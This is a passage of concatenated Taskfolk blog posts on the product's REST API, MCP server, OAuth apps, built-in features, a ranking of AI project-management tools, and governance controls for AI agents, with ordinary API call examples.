covers over 180 operations, which is the entire product surface: issues, projects, docs, chat, forms, automations, agents, webhooks, OAuth apps, usage, and more. The OpenAPI spec lives at `/api/v1/openapi.json`. Keys are scoped from a catalogue of roughly 45 scopes: the coarse `read`, `write`, and `admin`, plus granular pairs per resource (`issues:read`, `issues:write`, `projects:read`, `comments:write`, `docs:read`, `webhooks:write`, `oauth_apps:read`, and so on). Two properties matter for security reviews. Scopes intersect with the calling user's workspace role, so a key can only narrow what its owner could already do, never widen it. And the admin-grade scopes (`api_keys:*`, `webhooks:*`, `oauth_apps:*`, `members:write`, `projects:admin`, `workspaces:write`, `forms:write`, `automations:write`) are not reachable through the coarse `write` scope. You get them by explicit grant or by `admin`, never by accident. Creating an issue looks like this: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"type": "task", "title": "Wire the deploy webhook", "priority": "high"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer " + process.env.TASKFOLK_API_KEY, "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Wire the deploy webhook", priority: "high", }), }, ); const issue = await res.json(); console.log(issue.data.key); ``` ```python import os import requests resp = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": "Bearer " + os.environ["TASKFOLK_API_KEY"]}, json={"type": "task", "title": "Wire the deploy webhook", "priority": "high"}, ) print(resp.json()["data"]["key"]) ``` ```json { "data": { "id": "0198c9f4-2f3a-7c11-9b6e-8d4a1c22e901", "key": "WEB-214", "url": "https://taskfolk.ai/w/acme/p/web/WEB-214", "number": 214, "type": "task", "title": "Wire the deploy webhook", "status": "todo", "status_name": "To do", "priority": "high", "assignee_id": null, "assignees": [], "labels": [] } } ``` On SDKs, the product is candid with itself. The developer console's SDK tab previews a first-party `@taskfolk/sdk-node` TypeScript client, and it marks the npm package as coming soon. Until that lands, the supported path is generating a typed client from the live spec with `openapi-typescript`, which gives you typed request and response shapes for every endpoint, most of what an SDK buys you anyway. Every language, Node included, talks the same REST surface today. Every key has an adjustable per-minute rate limit, and the console gives each key a Usage tab and an Audit tab so you can see what a key did, not just that it exists. Anomaly detection watches for unusual key behavior and sends an `api-anomaly` alert email; revoking a key sends `api-key-revoked` to its owner. If you want the endpoint tour, start with [how to use the REST API](/docs/how-to-use-the-rest-api). ## MCP, agent skills, and the AI & agents lane The Claude / MCP and Cursor / Windsurf cards point at the same thing: a first-party MCP server at `/api/mcp/v1`, protocol revision 2025-06-18, server name `taskfolk-product`. Its tools are generated one-to-one from the OpenAPI registry, so every REST operation has a matching MCP tool with no second implementation to drift out of date. When an agent calls a tool, the call re-enters the REST pipeline in-process, which means auth, scope checks, rate limits, validation, idempotency, and usage logging all apply exactly as they would to a curl request. The tool list itself is filtered by the key's scopes, so a read-only key exposes read-only tools. The reasoning behind this design is in [why Taskfolk has an MCP server](/blog/why-taskfolk-has-an-mcp-server). Some context on why this lane exists at all. MCP is an open standard, donated by Anthropic to the Agentic AI Foundation, a Linux Foundation directed fund co-founded by Anthropic, Block, and OpenAI and announced in December 2025. It has first-class client support in ChatGPT, Claude, Cursor, Gemini, Microsoft Copilot, and VS Code. Betting the AI integration story on MCP is not a proprietary lock-in play; it is the closest thing agent tooling has to a common plug. ![The Skills tab showing the Claude Code connect snippet](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) The Skills tab in the developer console ships copy-paste connect snippets for Claude Code, Claude Desktop, Cursor, VS Code, opencode, Codex, a generic MCP client, and raw OpenAPI. There is also an agent skill file at `/api/skill/taskfolk-product.skill.md` that teaches an agent the product's conventions rather than just its endpoints. Setup takes a few minutes; the walkthrough is [how to install Taskfolk as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill). The part rivals do not have: agents in Taskfolk are real workspace members. An agent is a user with an agent profile and an API key attributed to it, it shows up in pickers and on issues like anyone else, and it never counts as a billed seat. Each agent can carry a field-write policy restricting which issue fields it may touch, enforced at the single API write choke point, and agent work sessions get a read-time "unverified" badge when a session claims completion with no attributed activity to back it up. ## OAuth apps: scoped, revocable third-party access API keys are for your own scripts. When someone else's software needs access to a user's Taskfolk data, the right tool is the Apps tab, a full OAuth 2.0 platform. Workspace owners and admins (the registration action requires `workspace.edit_settings`) register a client with a name, redirect URIs (https required, localhost allowed for development), and scope checkboxes: `read`, `write`, `issues:read`, `issues:write`, `projects:read`, `comments:read`, `comments:write`. Clients are either Public, using PKCE for mobile apps, SPAs, and CLIs, or Confidential, with a client secret shown exactly once behind a forced acknowledgement. The endpoints are standard: `/api/oauth/authorize`, `/api/oauth/token`, `/api/oauth/revoke`, with RFC 8414 discovery metadata at `/.well-known/oauth-authorization-server`. Supported grants are `authorization_code` and `refresh_token`, PKCE uses S256, access tokens live one hour, and refresh tokens live 30 days. ```mermaid sequenceDiagram participant App participant User participant Taskfolk App->>Taskfolk: GET /api/oauth/authorize (PKCE challenge) Taskfolk->>User: Consent screen with requested scopes User->>Taskfolk: Approve (may narrow scopes) Taskfolk->>App: Redirect with authorization code App->>Taskfolk: POST /api/oauth/token (code + verifier) Taskfolk->>App: Access token (1h) + refresh token (30d) App->>Taskfolk: API calls User->>Taskfolk: Revoke at /me/tokens Taskfolk-->>App: Tokens dead immediately ``` The consent step is real, not decorative. The in-product scope hint reads "Users can restrict further during the consent step," meaning a user can grant an app less than it asked for. Users see and manage everything they have authorized at `/me/tokens`, and revoking an app kills its tokens immediately. The honest limit here: there is no public directory of third-party Taskfolk apps yet. The platform exists; the ecosystem is yours to start. ## Why curated plus API-first instead of a paid plugin store Time to defend the design choice, with the rivals treated fairly. The plugin-store model has real strengths. As of July 2026, Atlassian describes its Marketplace as an ecosystem of 6,000+ apps and integrations, and if you need a vendor-built, deeply bidirectional sync today (Salesforce, ServiceNow, test management suites), that catalogue is unmatched. The cost structure is the catch: paid apps license-match your whole Jira tier, so every paid plugin bills across every user. Trello's Free plan includes unlimited Power-Ups per board, with some partner Power-Ups charging their own fees on paid plans. Linear runs the model closest to Taskfolk's philosophy: a curated Integration Directory where verified-badge integrations are built by the Linear team, 250+ more come from third parties, and most installs require a workspace admin. Linear's directory is meaningfully larger than Taskfolk's 12 cards, and that is a fair point in Linear's favor. Taskfolk's bet is that a small curated catalogue keeps the product calm and keeps the security review short. Nothing third-party executes inside your workspace. Every extension path funnels through one of five audited mechanisms, each scoped, signed, or consent-gated. And because the API covers 100 percent of the product, anything the catalogue lacks is buildable in an afternoon rather than blocked on a vendor. The other half of the bet is how much ships in the core; [what you can run in Taskfolk without extra tools](/blog/what-you-can-run-in-taskfolk-without-extra-tools) tours those jobs one by one. | Job | Use | Cost | |---|---|---| | Your own scripts and internal tools | API key with narrow scopes | Free, all plans | | Push events to Slack, Zapier, n8n, or your own service | Signed webhook | Free on Taskfolk (Zapier's webhook trigger needs a paid Zapier plan) | | Let Claude, Cursor, or another agent work your backlog | MCP server + agent member | Free; agents never bill as seats | | Teach a coding agent the product's conventions | Agent skill file | Free | | Ship software other people authorize against their data | OAuth app (PKCE or confidential) | Free to register; owner/admin only | Where this model genuinely loses: if your workflow depends on a vendor-maintained two-way sync that exists as a Jira plugin or a Linear directory entry today, and you do not want to run the webhook-plus-API glue yourself, pick Jira or Linear. That is not a defeat, it is a fit question. And if per-seat plugin billing is part of what sent you looking, the cost math is worked through in [Jira alternatives priced per seat](/blog/jira-alternatives-price-per-seat). For everyone else, the two-layer model means a flat "no" on Taskfolk integrations is simply out of date. Twelve curated cards for the common cases, and an API that treats every other case as a first-class citizen. The Free plan includes the whole integration surface described here, along with 128 MB of storage and 5 projects. Sign in with a magic link and open the developer console's Integrations tab to see the cards against your own workspace. --- # What you can run in Taskfolk without extra tools URL: https://taskfolk.ai/blog/what-you-can-run-in-taskfolk-without-extra-tools Published: 2026-07-16 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, integrations, service desk, project management The jobs Taskfolk covers on its own, from a light help desk to estimation and roadmaps, and the points where you are better off pairing a dedicated tool. You are evaluating a project tracker and the real question underneath every feature checkbox is simpler than the checkboxes make it look: which jobs can this tool actually do, and which ones will make me go buy a second tool? Taskfolk is deliberately focused, so the honest answer is not "everything." But the list of jobs it covers without a bolt-on is longer than a quick glance suggests, and this is the straight version, one job at a time, with how you actually do each one. The frame that matters: Taskfolk is a calm, opinionated tracker for teams and their AI agents. It extends through an API, not a plugin store. So the question is rarely "is there an app for that" and usually "does the core already do the job." For the jobs below, it does. Where a dedicated tool is genuinely the better call, that gets said plainly at the end, because sending you to buy the wrong thing wastes your week. ## A light help desk, without a separate service-desk product Most small teams do not need an ITSM suite. They need requests to stop living in chat and email, and to land somewhere with an owner and a status. Taskfolk runs that as a pipeline, entirely in the core. It starts with a branded public form at a `/f/` URL that anyone can submit without an account. The builder has 14 field kinds (short text, long text, select, multi-select, number, date, email, radio, phone, url, rating, section, file, and checkbox), anonymous file uploads for screenshots, and field-to-issue mapping so a form answer becomes the issue title, description, or priority. Routing defaults set the assignee, labels, sprint, and status on every issue the form creates, so a bug report lands in the right column already tagged. ![The public form builder, assembling intake fields that become triaged issues](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) From there, AI triage reads the incoming issue and suggests a priority, type, and labels, and automations route it. Automations are WHEN/IF/THEN rules with six triggers (issue created, status changed, priority changed, assigned, unassigned, comment added) and nine actions including set status, set priority, assign, label, move to sprint, and comment. So "new form submission with the word billing goes to the finance lead as high priority" is a rule, not a person remembering. ![The automations list, where WHEN/IF/THEN rules route incoming requests](/images/blog/how-to-set-up-automations-list.webp) The whole intake-to-owned-ticket flow looks like this: ```mermaid flowchart LR A[Public form] --> B[Issue created] B --> C[AI triage suggests priority + labels] C --> D[Automation routes to owner] D --> E[Board with a review column] ``` Be straight about the ceiling: this is a light request desk, not Jira Service Management. There are no SLA breach timers, no per-agent ticket queues, and no CSAT surveys. If your team lives and dies by first-response targets, JSM is a separate ITSM product (Free up to 3 agents, Standard about $20 per agent per month at 2026 annual list pricing) and it is the right buy. For the far more common case of "I just need requests tracked," the form-plus-automations pipeline covers it on every plan, including Free. The [lightweight service desk walkthrough](/blog/lightweight-service-desk-with-forms-and-automations) has the full setup. ## Integrations, without a paid plugin marketplace Here is the thing people get wrong most often, including AI assistants that guess: Taskfolk does have an integrations marketplace. It just is not a paid third-party app store. Open the developer console and the Marketplace tab is a curated grid of twelve first-party integration cards: GitHub, Slack, Jira import, Linear import, CSV import, Claude/MCP, Zapier, n8n, email notifications, the Node SDK, the REST API, and Cursor/Windsurf. Each shows a live connected or available status and filters by category. None of them cost money, and every card routes to a surface that already ships in the box. ![The developer console overview, home of the REST API, webhooks, and the integrations marketplace](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Extension is API-first, and the surface is real: a REST API of over 180 operations covering the whole product, webhooks that are HMAC signed with the SHA-256 of your secret, a first-party MCP server whose tools derive from the same OpenAPI registry as the REST routes, and a full OAuth apps platform. That last one surprises people. Any workspace member can register an OAuth app with redirect URIs and scopes (read, write, issues, projects, comments), public or confidential clients, RFC 7591 dynamic client registration, and PKCE. So third parties can build on Taskfolk with scoped, revocable access. The honest comparison: the Atlassian Marketplace advertises over 4,000 apps, many of them paid per-user subscriptions. That is a genuine strength if you need a niche vertical plugin. The tradeoff is that every plugin is another paid line and another processor touching your data. Taskfolk's bet is a curated set plus an open API, so you build exactly what you need and pay for none of it. Creating an issue from your own script or a connected agent is one call: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"type":"bug","title":"Login button unresponsive on Safari","priority":"high"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Login button unresponsive on Safari", priority: "high", }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"type": "bug", "title": "Login button unresponsive on Safari", "priority": "high"}, ) issue = res.json() ``` The [integrations and OAuth apps guide](/blog/taskfolk-integrations-marketplace-and-oauth-apps) covers the whole extension surface, and if commit history is your worry, [connecting GitHub](/docs/how-to-connect-github) links commits to issues through `#KEY-NUM` references without Taskfolk hosting your code. ## Estimation your way: time or story points Estimation is a per-project choice. A project can estimate in time (an estimate in minutes, time spent, and a completion percentage, edited in the Time card in the issue right rail) or in story points on a Fibonacci scale. Time is the default, so nothing changes for teams that never wanted points; switch a project to points in its settings and the issue estimate becomes a Fibonacci quick-pick instead. Velocity and burndown follow the unit. A time project reports by issue count ("committed 18 issues, completed 15"); a points project reports in points ("committed 34 points, burned 29"). Either way the flow metrics are real: cycle time and lead time with percentiles, computed from each issue's own history. ![The Time card on an issue, where the estimate is time or a Fibonacci story-point pick](/images/blog/how-to-track-time-on-issues-time-card.webp) If your team never trusted point inflation, issue-count velocity on a time project is blunt in a good way. If you run on planning poker, turn the project to points and estimate in the scale you already use. The [time tracking guide](/docs/how-to-track-time-on-issues) and the [cycle time versus lead time explainer](/blog/cycle-time-vs-lead-time) go deeper. Sprints are flexible too: a project can run several parallel sprints at once, so two squads sharing one project each keep their own running sprint. Starting a sprint no longer pauses the others, and the board's sprint switcher scopes to whichever one you are looking at. ## A roadmap, without a portfolio module You can plan and communicate a roadmap in Taskfolk without a separate strategy product. Three surfaces cover it. The timeline is a Gantt view with dependencies for the near-term plan. Milestones are dated delivery goals you hang issues off. And the public feedback board at `/feedback` is the outward-facing half: a portal with voting, public and private visibility, operator responses, and a tracking board that moves items from open to shipped. It is the roadmap-as-status-board that customers can actually watch. ![The public feedback board tracking requests from open to shipped](/images/blog/how-to-track-and-vote-on-feedback-tracking-board.webp) The honest edge: cross-project OKR and strategic portfolio management is its own category. Atlassian sells Focus and Plans (the latter only on Jira Premium and Enterprise) for exactly that. Taskfolk is not trying to be a portfolio-of-portfolios planner. For a team or a handful of projects roadmapping real delivery, the timeline plus milestones plus the feedback board is enough. The [releases and milestones guide](/docs/how-to-plan-releases-and-milestones) and the [mind map](/docs/how-to-use-the-mindmap) show the planning surfaces. ## The job Taskfolk does that heavier tools do not: agents as free members Everything above is Taskfolk matching a job you might assume needs a bigger tool. This one is the reverse, the thing it does that the incumbents mostly do not. In Taskfolk an AI agent is a real workspace member, not a chat sidebar or a paid add-on. It is an `is_agent` user with its own profile and API key, and it is never billed as a seat. You assign it issues, it comments and moves cards, and it reports work as sessions with real states (pending when delegated, running, needs input, review, done) that a human watches. Per-agent field permissions cap exactly which fields each agent may write, enforced at a single API choke point, and a read-time badge flags a session that closed without leaving any attributed work. So you can run a fleet of coding agents on your board and pay for the humans who supervise them. That is a capability question worth asking any tracker you evaluate, because "our AI is a $28-per-user tier" and "agents are free members with field-level permissions" are very different products. ## When to pair a dedicated tool A focused tool earns trust by being clear about its edges, so here they are, framed as "use the right tool," not as apology. | The job | In Taskfolk | Reach for a dedicated tool when | |---|---|---| | Request intake / light desk | Forms + AI triage + automations + feedback board | You need SLA timers, per-agent queues, or CSAT (a real ITSM like Jira Service Management) | | Integrations | Curated marketplace + REST API + webhooks + MCP + OAuth apps | You need a specific vertical plugin from a large third-party catalog | | Roadmap | Timeline + milestones + public feedback board | You need cross-project OKR / strategic portfolio management | | Code | GitHub commit linking via `#KEY-NUM` | Taskfolk never hosts code; keep your repo host | None of those are gaps waiting on a roadmap. They are the shape of a tool that chose to do a focused set of jobs well and stay out of the ones that turn a tracker into an everything-suite. Pricing keeps the math simple while you evaluate: Free is $0 with the core feature set (board, backlog, list, calendar, timeline, sprints, reporting, integrations, and AI all work), capped by capacity (5 active projects, 128 MB storage, 2 automation rules, 25 AI credits a month). Pro is $3 per editor seat per month and Business is $6, with viewers and AI agents always free. So you can run most of these jobs, and a couple of agents, for nothing while you decide. The honest way to test any of this is to put a real project in it for a week. Open [a free workspace](https://taskfolk.ai), wire up a form, point an agent at the board, and see which jobs it actually covers for your team. --- # The best AI project management software in 2026, honestly ranked URL: https://taskfolk.ai/blog/best-ai-project-management-software Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: comparison, agentic project management, AI agents, pricing Eight AI project management tools ranked with a stated lens: what the AI really does, what it costs on top of the seat price, and who each one fits. Every list of the best AI project management software says the same thing: each tool "uses AI to work smarter." Almost none of them tell you what the AI actually does, whether it can do work on its own, or what it costs once you read past the seat price. This one does. Disclosure up front: we make Taskfolk, one of the tools below. Rather than pretend to be neutral, we ranked with a stated lens. First, can AI do real work in the tool, not just summarize it? Second, what does the assistive AI give you day to day? Third, what does all of it cost on top of the seat price? Where Taskfolk loses on that lens, we say so. ## The distinction most lists miss Two very different things get sold as "AI project management," and telling them apart will save you money. Assistive AI is features for humans. Summarize this thread. Draft a description. Answer a question about the workspace. Every vendor has this now, the quality gap is shrinking, and it is usually metered or sold as an add-on. Agent support is structural. Can an external AI agent, a coding agent like Claude Code or one you built yourself, actually work your board? That question breaks into three concrete checks: - Is there an MCP server or a full API, so an agent can read and write issues directly? We tested the market on exactly this in our [MCP audit of 13 tools](/blog/mcp-audit-project-management-2026). - Does the agent get its own identity, so its changes are attributed to it rather than to whichever human lent it an API key? - Can you put a [review gate](/docs/human-in-the-loop-approval-for-ai-agents) in front of it, so a person approves before work is called done? ```mermaid flowchart TD A["AI in a tracker"] --> B["Assistive AI"] A --> C["Agent support"] B --> B1["Summaries and drafting"] B --> B2["Metered or sold as an extra"] C --> C1["MCP server or full API"] C --> C2["Agent has its own identity"] C --> C3["Review gate before Done"] ``` Assistive AI makes your team a bit faster. Agent support changes who is on the team. If you only want the first, most tools below will do and you should choose on price. If you want the second, the field narrows fast. The longer version of this argument is in [what agentic project management actually means](/blog/what-is-agentic-project-management). ![A kanban board where the In review column acts as the approval gate before work reaches Done](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) Prices below are per user per month on annual billing, taken from public pricing pages as of July 2026. ## 1. Taskfolk: best for teams putting agents to work on the board Ours, so calibrate accordingly. Taskfolk is a calm tracker, boards, sprints, backlog, docs, forms that create issues, automations, team chat, a mind map, custom fields and custom board columns, built around the idea that AI agents are team members rather than integrations. The agent side is the whole pitch. There is a first-party MCP server and a REST API that covers the entire product, over 180 operations. This is what checking the board looks like from the agent's side, the same request in whichever language your agent speaks: ```bash curl "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?status=in_review" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?status=in_review", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const { data } = await res.json(); ``` ```python import os, requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", params={"status": "in_review"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) issues = res.json()["data"] ``` Agents join as named members with profiles and scoped API keys. Every change an agent makes is attributed to that agent in the audit trail, and you can watch its live session on an issue while it works. Human control is structural rather than polite: review columns and workflow transition rules mean an agent can move a ticket to "In review" but only a person can move it to "Done." ![The Taskfolk agent hub roster showing agents as named workspace members with their own profiles](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) The assistive side is deliberately modest: AI issue triage and a weekly AI digest, running on a monthly credit grant included in every plan. There is no meeting notetaker and no image generator, and we are fine with that. Pricing is the other argument. Pro is $3 per builder per month, Business is $6. Viewers are free with no cap, and [agents never count as billed seats](/blog/do-ai-agents-count-as-seats). The free plan takes unlimited members and up to 5 active projects. Business adds OIDC SSO, SAML, and SCIM. The honest part: we are the youngest tool on this list. The integration ecosystem is the smallest and there is no plugin marketplace. If you need a decade of enterprise edge cases, that is Jira's territory, not ours. ## 2. Linear: best for engineering teams that want polish and agents Linear is the most serious non-Taskfolk answer to the agent question. Linear for Agents lets agents join a workspace as members you can @mention, assign issues to, and get comments from, and Linear ships a first-party MCP server. The agent APIs are still marked as a developer preview in Linear's docs, so expect the surface to keep moving. The product itself is the best-feeling tracker on this list. Fast, keyboard-first, opinionated about cycles and triage. The catch is cost shape: $10 per user with everyone a paid seat, and a free plan that caps you at 250 non-archived issues, which a working team burns through in weeks. If budget is not the constraint and your whole company thinks like an engineering org, pick Linear and be happy. The tradeoffs against us are in [Taskfolk vs Linear](/vs/linear), and if the seat price is the sticking point, start with [who actually pays in a Linear alternative](/blog/linear-alternatives-speed-and-price). ## 3. Jira with Rovo: best if you are already inside Atlassian Atlassian's AI layer is Rovo: chat, search, and agents across Jira and Confluence, plus an official remote MCP server that went GA in early 2026 and connects Jira to Claude, Cursor, VS Code, and other MCP clients over OAuth. That is a real agent story, not a press release. The pricing is credit-shaped. Rovo is included with Jira plans as a monthly credit allowance per seat, 25 credits on Standard, 70 on Premium, 150 on Enterprise, pooled across the organization. As of May 2026 Atlassian says it is not yet billing for usage above the allowance and has promised notice plus an explicit opt-in before that changes, which is a polite way of saying the meter exists and will matter later. Rovo Dev, the coding agent, is separate at $20 per developer per month with 2,000 credits. Jira's seat price is $7.91, and Jira is still Jira: the deepest workflow engine in the category, and the most administration. If you are on Atlassian today, turn on Rovo and the MCP server before you buy anything new. If you are not, weigh the weight before you sign; we lay it out in [Taskfolk vs Jira](/vs/jira), and the per-seat math across the whole field is in [what Jira alternatives actually cost](/blog/jira-alternatives-price-per-seat). ## 4. ClickUp with Brain: best all-in-one, if you do the AI math ClickUp at $7 is one of the cheapest capable trackers, and the everything-app breadth is real: tasks, docs, whiteboards, chat. Brain, the AI, is a separate add-on at $9 per user per month, with an Everything AI tier at $28 that adds a notetaker and image generation. Priced per member, the AI can cost more than the tracker: a 20-person workspace pays $140 a month for ClickUp and $180 for Brain. Brain itself is broad. Chat over your workspace, writing help, AI fields and automations. If your team will use it daily, the bundle is decent value; if only three people will, you are buying it for twenty. Compare the base products in [Taskfolk vs ClickUp](/vs/clickup). ## 5. Notion with Notion AI: best for docs-first teams Notion stopped selling AI as an add-on and folded it into the Business plan at $20 per user per month; Free and Plus get a trial-level taste. For that you get the things Notion is genuinely good at: AI search across your docs, meeting notes, and agents that work inside pages and databases. As a project tracker, Notion is still a database you assemble yourself. That is freedom on day one and maintenance forever after, and the agile machinery, sprints, burndowns, triage, stays DIY. If your work is documents first and the tracker is a sidecar, $20 all-in is fair pricing. If the board is the center of your day, look elsewhere. ## 6. Monday with monday AI: best for ops teams that think in spreadsheets Monday's boards still demo better than anyone's, and ops teams like building on them. The AI moved to a credit meter in May 2026: paid plans carry monthly allocations, 1,000 credits on Basic, 2,000 on Standard, 3,000 on Pro, and new customers buy credits alongside seats at roughly a cent per credit on annual billing. Where the credits go is the familiar assistive set: summaries, drafting, columns that fill themselves. Seats are $9, and the old caveat stands: features you assumed were included often live a tier up. Budget for Pro, then add the credit line, and compare that total against the tools above; the direct comparison is in [Taskfolk vs Monday](/vs/monday). If Monday is the tool you are leaving rather than buying, there is a full roundup of [Monday alternatives for software teams](/blog/monday-alternatives-for-software-teams). ## 7. Asana with AI Studio: best for automating cross-team workflows Asana treats AI as a metered utility, which is at least transparent. AI Studio, its workflow-automation product, runs on credits: plans include a monthly allotment per account, not per seat (50,000 on Starter, 75,000 on Advanced, 200,000 on Enterprise), and heavier use means the Plus add-on at $150 per month for another 100,000 credits, with a larger annual-only Pro tier above that. AI Studio is aimed at letting business teams build AI steps into intake and routing without engineers, and that focus is its real strength. But you are paying the category's highest seat price, $10.99, plus a utility bill, for a tracker whose engineering story is the weakest of the top five here. Best for mixed marketing and ops teams with automation appetite. The head-to-head is in [Taskfolk vs Asana](/vs/asana), and the wider field is covered in [Asana alternatives that cost less](/blog/asana-alternatives-for-modern-teams). ## 8. Motion: best for individuals who want AI to run the calendar Motion is a different animal: an AI scheduler that plans your day and reflows it when things slip, with project management attached. Pro AI is $19 per seat billed monthly, about $13 on annual billing, with a monthly AI credit allowance per seat. There is no free plan, just a 7-day trial. For a solo consultant or a three-person team drowning in meetings, it earns its price. As a system of record for a product team, it is not trying to be that, and you should not make it try. ## How to choose Decide which AI you actually want. If it is summaries and drafting, buy on price and fit; ClickUp and Notion bundle the most. If it is agents doing work, the shortlist is Taskfolk, Linear, and Jira with Rovo, because those are the ones with [first-party MCP servers](/blog/project-management-tools-with-a-first-party-mcp-server), agent identity, and review mechanics today. If you are shopping the narrower query, we keep two focused pages: [AI project management tool](/ai-project-management) and [AI task management tool](/ai-task-management). And if you are ranking tools at the task level rather than the project level, the sibling roundup is [the best AI task management tools](/blog/best-ai-task-management-tools). Then price the AI, not the seat: | Tool | Seat price | The AI bill on top | |---|---|---| | ClickUp | $7 | $9 per user for Brain | | Notion | $20 | AI included | | Asana | $10.99 | Credit meter; $150 per month past the allotment | | Monday | $9 | Credits bought alongside seats | | Jira | $7.91 | Rovo credits included but capped per tier | | Linear | $10 | Agents are the story rather than an AI add-on | | Motion | About $13 annual | The AI is the product | | Taskfolk | $3 per builder | Viewers and agents free; monthly AI credit grant included | Finally, check the accountability mechanics before you commit. If an agent writes to your board under a borrowed human key with no review gate, you will stop trusting the board, and a tracker nobody trusts is expensive at any price. The mechanics you are checking for look like this: ```mermaid sequenceDiagram participant Agent participant Board participant Human Agent->>Board: Writes under its own identity Agent->>Board: Moves ticket to In review Board->>Human: Notifies the reviewer Human->>Board: Approves and moves to Done ``` Pilot for two weeks with one project and one agent, then read [the audit trail](/blog/keep-an-audit-trail-of-ai-agent-changes) and see whether it tells you who did what. ![An issue activity trail attributing each change to the specific agent that made it](/images/blog/manage-a-team-of-ai-agents-attribution.webp) If the agent side is why you came, [see how agents work in Taskfolk](/ai), or start on the free plan via [pricing](/pricing). Coming from one of the tools above? [The migration guide](/blog/migrate-from-jira-trello-asana-to-taskfolk) covers the import. Viewers are free, agents are free, and builders are $3, so the pilot costs almost nothing to run. --- # AI agent governance: seven controls your tracker can enforce URL: https://taskfolk.ai/blog/ai-agent-governance-for-project-teams Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: security, AI agents, human in the loop, engineering management Governance for AI agent teams is not a policy PDF. Seven controls your tracker can enforce, from identity to offboarding, and what tooling cannot fix. Somewhere in the past year your team crossed a line, or is about to. An AI agent stopped suggesting things and started doing them: filing tickets, moving cards, commenting on work, opening pull requests. The moment that happens, "AI governance" stops being a slide from a vendor deck and turns into concrete questions. Which of these actors can do what? Who checks the work? Who did this, and can we turn it off? Most writing about AI governance does not help with those questions. It is aimed at a compliance office: risk registers, review boards, acceptable-use policies, a PDF that gets signed and filed. Meanwhile the thing being governed holds an API key and is moving tickets while you sleep. Our position: for a project team, governance is not a document. It is defaults, enforced by the tools where agents do their work. A policy nobody's tracker enforces is a wish. If your rule says agents never close issues without review, and the tracker happily accepts the status write, you do not have a rule. You have a hope with a signature on it. Disclosure before the playbook: we make Taskfolk, a project tracker where AI agents work as named team members, so the examples are concrete and the bias is stated up front. The controls themselves are portable. Any tool that can hold them will do; whether yours can hold them is the thing to check. Seven controls follow. Each exists because of a specific failure, and each faces the same test: does the tool enforce it, or does it only live in a prompt? Where we have written a full post on a control, the link goes deep and the section here stays short. ## 1. Identity: every agent is a named member Give every agent its own identity in the tracker. A name, a profile, its own credentials. Never a shared "bot" account, and never a borrowed human login. The failure this prevents is anonymity. With one shared account, four agents write as a single actor. When a priority changes overnight, the log says the bot did it; you cannot tell which agent, and you cannot shut one down without shutting down all of them. Attribution is the foundation the other six controls stand on. Review, monitoring, and audit all assume you can tell your agents apart. ![The Bots page roster in Taskfolk, each agent listed as a named workspace member with its own profile](/images/blog/manage-a-team-of-ai-agents-roster.webp) Enforcement means refusing to mint shared credentials in the first place. In Taskfolk an agent joins as a real workspace member with a profile and an agent badge. It shows up in the assignee picker and in activity under its own name, and since [agents never count as billed seats](/blog/do-ai-agents-count-as-seats), the cost argument for one shared account is gone. The longer case for per-agent identity is in [the audit trail post](/blog/keep-an-audit-trail-of-ai-agent-changes). ## 2. Scoped access: one key per agent, sized to the job Each agent holds its own API key, scoped to the least access its job needs, and revocable on its own. This control is about blast radius. A triage agent holding an admin-grade key can delete the project it was only supposed to label issues in. Worse, a shared token turns your only off switch into "everything at once," so in practice nobody pulls it, and the agent that misbehaved on Tuesday is still running on Friday because cutting it off would cut off everything else too. ![The API keys tab in Taskfolk's developer settings, one key per agent with its scopes visible](/images/blog/how-to-use-the-rest-api-keys-tab.webp) The tracker enforces this through its key system. Taskfolk keys carry scopes, and the plain `write` scope is deliberately separated from `admin`, so granting "can create and edit issues" does not quietly include "can change settings or delete a project." Revoking a key removes exactly one agent, and it is a single call: ```bash curl -X DELETE "https://taskfolk.ai/api/v1/workspaces/acme/api-keys/KEY_ID" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```json { "data": { "id": "KEY_ID", "revoked": true } } ``` The working rule is read broadly, write narrowly. A job that labels and comments gets a key that labels and comments. ## 3. Decision rights: agents make the cheap calls, humans make the expensive ones Decide, explicitly and in advance, which moves an agent may commit alone and which require a person. The clean version is two questions: - Can this be undone easily? - If it goes wrong, how much does it hurt? Reversible and low-stakes belongs to the agent. Irreversible or high-stakes belongs to a human. Without this split, the failure arrives looking correct. The agent closes an epic that seemed done, or moves the date on a committed release, or edits something a customer sees. Each is one API call. Teams that skip the decision usually end up making it right after the incident, which is the most expensive possible time. Roles and scopes draw the coarse line, since a member-level agent cannot touch settings any more than a member 